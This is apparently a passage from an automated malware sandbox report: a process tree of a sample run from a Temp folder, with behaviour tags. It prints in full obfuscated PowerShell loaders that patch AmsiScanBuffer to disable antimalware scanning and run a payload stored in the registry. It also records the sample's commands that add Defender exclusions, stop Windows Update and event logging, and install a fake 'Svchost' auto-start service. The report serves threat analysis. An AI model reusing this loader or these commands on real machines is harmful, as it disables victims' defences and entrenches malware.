wrote to memory of 3748 2620 dllhost.exe 60 PID 2620 wrote to memory of 4016 2620 dllhost.exe 62 PID 2620 wrote to memory of 4104 2620 dllhost.exe 65 PID 2620 wrote to memory of 1216 2620 dllhost.exe 67 PID 2620 wrote to memory of 3132 2620 dllhost.exe 68 PID 2620 wrote to memory of 4900 2620 dllhost.exe 70 PID 2620 wrote to memory of 2088 2620 dllhost.exe 71 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:620
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:396
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{4b70c230-d0c3-4e9b-a75c-4851bc051a30}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2620
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{9ba6dd8b-3c8b-4c50-880d-24e06daf50db}2⤵PID:6064
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 6064 -s 2923⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:1036
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:676
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C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-147fe8c2-002a-49d5-89c5-3fff38a348f5 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-7cf711f4-878f-4956-bc96-5cb17dc4d619 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-4c36242f-ec91-4429-b715-78bc2ec13c05 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-7acd0bc5-06b8-419b-8416-9f45a9ea3b64 -LifetimeId:da5149a8-2315-4155-b049-aff2097477f5 -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵PID:884
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:60
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:1020
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1072
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1160
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1188 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2368
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:lqjIUCQVaBJb{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$rvwzHHlImOGFrE,[Parameter(Position=1)][Type]$BAYpcfodQw)$dSPOhJpQYHS=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+'c'+[Char](116)+'e'+'d'+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+''+'e'+''+[Char](109)+'o'+'r'+''+'y'+''+[Char](77)+'o'+[Char](100)+''+'u'+''+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+'D'+'e'+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+'e'+[Char](84)+''+'y'+'p'+'e'+'',''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+'S'+''+'e'+''+[Char](97)+'l'+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+'C'+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+[Char](111)+'C'+[Char](108)+''+'a'+'s'+'s'+'',[MulticastDelegate]);$dSPOhJpQYHS.DefineConstructor(''+'R'+''+[Char](84)+''+'S'+''+[Char](112)+'e'+'c'+''+[Char](105)+'a'+[Char](108)+''+'N'+''+[Char](97)+'me,'+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+'i'+''+[Char](103)+',P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+'c',[Reflection.CallingConventions]::Standard,$rvwzHHlImOGFrE).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+','+[Char](77)+''+[Char](97)+''+'n'+'a'+[Char](103)+''+'e'+''+[Char](100)+'');$dSPOhJpQYHS.DefineMethod('In'+[Char](118)+''+[Char](111)+'ke',''+'P'+''+[Char](117)+'bl'+'i'+'c'+[Char](44)+''+'H'+''+[Char](105)+'d'+'e'+''+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+'g'+',New'+[Char](83)+'l'+'o'+''+'t'+''+[Char](44)+''+'V'+''+[Char](105)+'rt'+[Char](117)+'a'+[Char](108)+'',$BAYpcfodQw,$rvwzHHlImOGFrE).SetImplementationFlags('Ru'+'n'+''+'t'+'im'+'e'+''+','+''+'M'+'a'+[Char](110)+''+[Char](97)+''+'g'+''+'e'+''+[Char](100)+'');Write-Output $dSPOhJpQYHS.CreateType();}$bnOWKaJNkqNoK=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+'s'+'t'+''+[Char](101)+'m'+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+'c'+'r'+''+'o'+''+[Char](115)+''+[Char](111)+'f'+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+''+'n'+''+[Char](51)+''+'2'+'.'+'U'+''+[Char](110)+''+'s'+'afe'+[Char](78)+''+[Char](97)+''+'t'+'iv'+'e'+''+[Char](77)+'eth'+[Char](111)+''+[Char](100)+'s');$CKMZPtcbsaXTyA=$bnOWKaJNkqNoK.GetMethod(''+[Char](71)+''+[Char](101)+'t'+'P'+''+'r'+'o'+[Char](99)+''+[Char](65)+'d'+[Char](100)+''+[Char](114)+''+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+'l'+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+'t'+[Char](97)+''+[Char](116)+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$icMwlLofDqZkYkDHZff=lqjIUCQVaBJb @([String])([IntPtr]);$RZxzKfMZsWrDwRJYjCYDHH=lqjIUCQVaBJb @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$wNPdyIiyiuV=$bnOWKaJNkqNoK.GetMethod(''+[Char](71)+'e'+[Char](116)+''+'M'+''+[Char](111)+'d'+[Char](117)+'l'+[Char](101)+''+[Char](72)+''+[Char](97)+'n'+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+'r'+''+[Char](110)+''+'e'+'l'+[Char](51)+'2'+'.'+'d'+[Char](108)+''+'l'+'')));$bCffAjJxmwfjnk=$CKMZPtcbsaXTyA.Invoke($Null,@([Object]$wNPdyIiyiuV,[Object](''+[Char](76)+''+'o'+''+'a'+''+[Char](100)+'Li'+[Char](98)+''+'r'+'ar'+'y'+'A')));$syvIoLqjdoCjVmWdS=$CKMZPtcbsaXTyA.Invoke($Null,@([Object]$wNPdyIiyiuV,[Object]('V'+[Char](105)+''+[Char](114)+'tu'+[Char](97)+''+[Char](108)+''+'P'+''+[Char](114)+'o'+'t'+''+'e'+''+[Char](99)+''+[Char](116)+'')));$weEZDST=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bCffAjJxmwfjnk,$icMwlLofDqZkYkDHZff).Invoke('am'+[Char](115)+'i'+[Char](46)+'d'+'l'+'l');$iuSMJitlplunxmMpy=$CKMZPtcbsaXTyA.Invoke($Null,@([Object]$weEZDST,[Object]('A'+[Char](109)+'s'+[Char](105)+'S'+[Char](99)+'a'+[Char](110)+'B'+[Char](117)+''+'f'+'f'+[Char](101)+''+[Char](114)+'')));$MDBwrVGXqZ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($syvIoLqjdoCjVmWdS,$RZxzKfMZsWrDwRJYjCYDHH).Invoke($iuSMJitlplunxmMpy,[uint32]8,4,[ref]$MDBwrVGXqZ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$iuSMJitlplunxmMpy,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($syvIoLqjdoCjVmWdS,$RZxzKfMZsWrDwRJYjCYDHH).Invoke($iuSMJitlplunxmMpy,[uint32]8,0x20,[ref]$MDBwrVGXqZ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue('d'+'i'+''+[Char](97)+'le'+'r'+'s'+'t'+''+[Char](97)+'ge'+'r'+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2940 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2740
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:RMUowdEshBgP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$nHiNIzMOdhtARy,[Parameter(Position=1)][Type]$nyAiCYqNjO)$JSyQsRhLrac=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+'e'+[Char](99)+''+'t'+''+'e'+''+[Char](100)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+''+[Char](109)+''+[Char](111)+''+'r'+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+'M'+''+'y'+''+'D'+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+'eT'+'y'+'pe',''+[Char](67)+'l'+[Char](97)+'s'+[Char](115)+','+[Char](80)+'u'+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+','+''+'S'+''+[Char](101)+''+[Char](97)+''+[Char](108)+'e'+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+'i'+'C'+'l'+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+'A'+''+[Char](117)+'to'+'C'+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$JSyQsRhLrac.DefineConstructor(''+[Char](82)+'T'+[Char](83)+'p'+'e'+''+'c'+'i'+'a'+''+[Char](108)+'N'+[Char](97)+'m'+'e'+''+[Char](44)+''+'H'+''+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+'i'+''+'g'+''+','+''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$nHiNIzMOdhtARy).SetImplementationFlags(''+'R'+'u'+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');$JSyQsRhLrac.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+'ok'+[Char](101)+'',''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+','+'H'+[Char](105)+'d'+'e'+''+[Char](66)+''+[Char](121)+'S'+'i'+''+[Char](103)+''+[Char](44)+''+[Char](78)+'e'+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+'t'+[Char](44)+''+'V'+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+'l',$nyAiCYqNjO,$nHiNIzMOdhtARy).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+[Char](116)+'i'+'m'+''+[Char](101)+''+[Char](44)+'M'+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+'d');Write-Output $JSyQsRhLrac.CreateType();}$wKNimyybEMbrh=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+[Char](115)+''+[Char](116)+''+'e'+''+'m'+''+[Char](46)+''+[Char](100)+'ll')}).GetType(''+[Char](77)+'i'+[Char](99)+'ro'+'s'+''+'o'+''+'f'+''+[Char](116)+''+[Char](46)+''+'W'+''+'i'+''+[Char](110)+''+[Char](51)+'2'+[Char](46)+''+'U'+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+'N'+''+[Char](97)+'t'+[Char](105)+''+[Char](118)+'e'+[Char](77)+''+[Char](101)+''+[Char](116)+''+'h'+'o'+[Char](100)+''+[Char](115)+'');$yFMfrlcWtSJOpJ=$wKNimyybEMbrh.GetMethod('G'+'e'+'t'+'P'+''+'r'+''+[Char](111)+''+[Char](99)+''+[Char](65)+''+[Char](100)+''+[Char](100)+''+'r'+''+'e'+'s'+[Char](115)+'',[Reflection.BindingFlags]('P'+'u'+''+'b'+''+[Char](108)+'ic'+','+''+[Char](83)+''+[Char](116)+'a'+[Char](116)+''+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$wNAWCWGVJQCxaiTEyfw=RMUowdEshBgP @([String])([IntPtr]);$qimkEsFblzLkVkqywCdABz=RMUowdEshBgP @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ALLrCgjQinz=$wKNimyybEMbrh.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+'n'+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+'n'+''+'e'+'l'+[Char](51)+''+'2'+''+[Char](46)+''+'d'+'l'+[Char](108)+'')));$WItedBwItYTbGG=$yFMfrlcWtSJOpJ.Invoke($Null,@([Object]$ALLrCgjQinz,[Object](''+[Char](76)+''+[Char](111)+'a'+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+'a'+''+[Char](114)+''+[Char](121)+'A')));$tISXsyCypwIEzcgYf=$yFMfrlcWtSJOpJ.Invoke($Null,@([Object]$ALLrCgjQinz,[Object]('V'+[Char](105)+''+[Char](114)+'tual'+[Char](80)+''+'r'+''+[Char](111)+''+[Char](116)+''+[Char](101)+'c'+'t'+'')));$AlRUCgG=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WItedBwItYTbGG,$wNAWCWGVJQCxaiTEyfw).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+'i'+''+[Char](46)+''+[Char](100)+'ll');$EfEAlQbmSQbcfvQvU=$yFMfrlcWtSJOpJ.Invoke($Null,@([Object]$AlRUCgG,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+'S'+[Char](99)+''+[Char](97)+''+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+''+'f'+'er')));$ZvfmSXboxG=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tISXsyCypwIEzcgYf,$qimkEsFblzLkVkqywCdABz).Invoke($EfEAlQbmSQbcfvQvU,[uint32]8,4,[ref]$ZvfmSXboxG);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$EfEAlQbmSQbcfvQvU,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tISXsyCypwIEzcgYf,$qimkEsFblzLkVkqywCdABz).Invoke($EfEAlQbmSQbcfvQvU,[uint32]8,0x20,[ref]$ZvfmSXboxG);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+[Char](82)+'E').GetValue('d'+'i'+'a'+'l'+''+'e'+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+'g'+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:5668 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:5684
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-
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start wuauserv2⤵
- Launches sc.exe
PID:5520
-
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1196
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1296
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1316
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵PID:1324
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1396
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1404
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1412
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1676
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:3028
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1684
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1700
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1756
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1860
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1904
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1928
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1992
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:2072
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2080
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2096
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2108
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2188
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2244
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2360
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2524
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2652
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2676
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2756
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2764
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2824
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2836
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:3052
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:708
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3172
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3244 -
C:\Users\Admin\AppData\Local\Temp\8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe"C:\Users\Admin\AppData\Local\Temp\8832f5ecb1e61c79555bb01ba4b0567c3293400b64deb504349fde67d2c5f6d2.exe"2⤵
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2476 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1116
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2116 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart4⤵PID:1880
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-
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc3⤵
- Launches sc.exe
PID:3428
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:1620
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv3⤵
- Launches sc.exe
PID:220
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits3⤵
- Launches sc.exe
PID:3124
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc3⤵
- Launches sc.exe
PID:3600
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1588
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:976
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2304
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3804
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe3⤵PID:2312
-
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "Svchost"3⤵
- Launches sc.exe
PID:3372
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "Svchost" binpath= "C:\ProgramData\Svchost.exe" start= "auto"3⤵
- Launches sc.exe
PID:3412
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog3⤵
- Launches sc.exe
PID:3008
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "Svchost"3⤵
- Launches sc.exe
PID:4388 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:5040
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-
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3396
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3592
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3748
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4016
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4104
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:1216
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:3132
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:4900
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:2088
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:2032
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:832
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3360
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:5032
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:1100
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:400
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s camsvc1⤵PID:3668
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 79211da9c5d17bacbcb1463383993825 7IRPi+koyUS2fwkipgDdyg.0.1.0.0.01⤵
- Sets service image path in registry
PID:3996 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵PID:4924
-
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:4728
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C:\ProgramData\Svchost.exeC:\ProgramData\Svchost.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:2880 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2724 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4560
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Executes a command shell one-liner
PID:1912 -
